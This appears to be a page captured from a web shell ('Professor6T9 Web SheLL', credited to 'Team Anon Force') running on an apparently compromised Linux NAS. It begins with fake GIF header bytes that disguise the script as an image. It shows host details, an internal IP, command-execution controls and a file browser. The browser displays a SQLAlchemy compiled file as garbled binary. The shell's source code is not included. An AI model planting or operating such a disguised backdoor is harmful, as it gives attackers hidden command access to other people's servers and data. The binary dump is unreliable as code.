GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
dialects
/
postgresql
/
__pycache__
[ HOME ]
Exec
Submit
File Name : provision.cpython-38.pyc
U �}�h� � @ s� d dl Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ e� d �d d� �Z e� d �dd � �Ze� d �dd� �ZdS )� N� )�exc)�text)� create_db)�drop_db)�log)�temp_table_keyword_args� postgresqlc C s� | j j}|�� jdd���}zt| ||� W n tk r> Y nX |sN|�d�}d}z|�d||f � W q� tj k r� } z>|d7 }|dkr�� dt |�kr�t�d ||j |� t�d � W 5 d }~X Y qR � Y qRX q�qRW 5 Q R X d S )N� AUTOCOMMIT�Zisolation_levelzselect current_database()r zCREATE DATABASE %s TEMPLATE %s� r zaccessed by other userszFWaiting to create %s, URI %r, template DB %s is in use sleeping for .5g �?)�optionsZpostgresql_templatedb�connect�execution_options�_pg_drop_db� ExceptionZscalar�executer ZOperationalError�strr �info�url�time�sleep)�cfg�eng�identZtemplate_db�conn�attempt�err� r �O/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/dialects/postgresql/provision.py� _pg_create_db s8 ��r c C s@ |� � jdd��&}|jtd�|d� |�d| � W 5 Q R X d S )Nr r z�select pg_terminate_backend(pid) from pg_stat_activity where usename=current_user and pid != pg_backend_pid() and datname=:dname)ZdnamezDROP DATABASE %s)r r r r )r r r r r r r r 0 s ��r c C s ddgiS )N�prefixes� TEMPORARYr )r r r r r �#_postgresql_temp_table_keyword_args>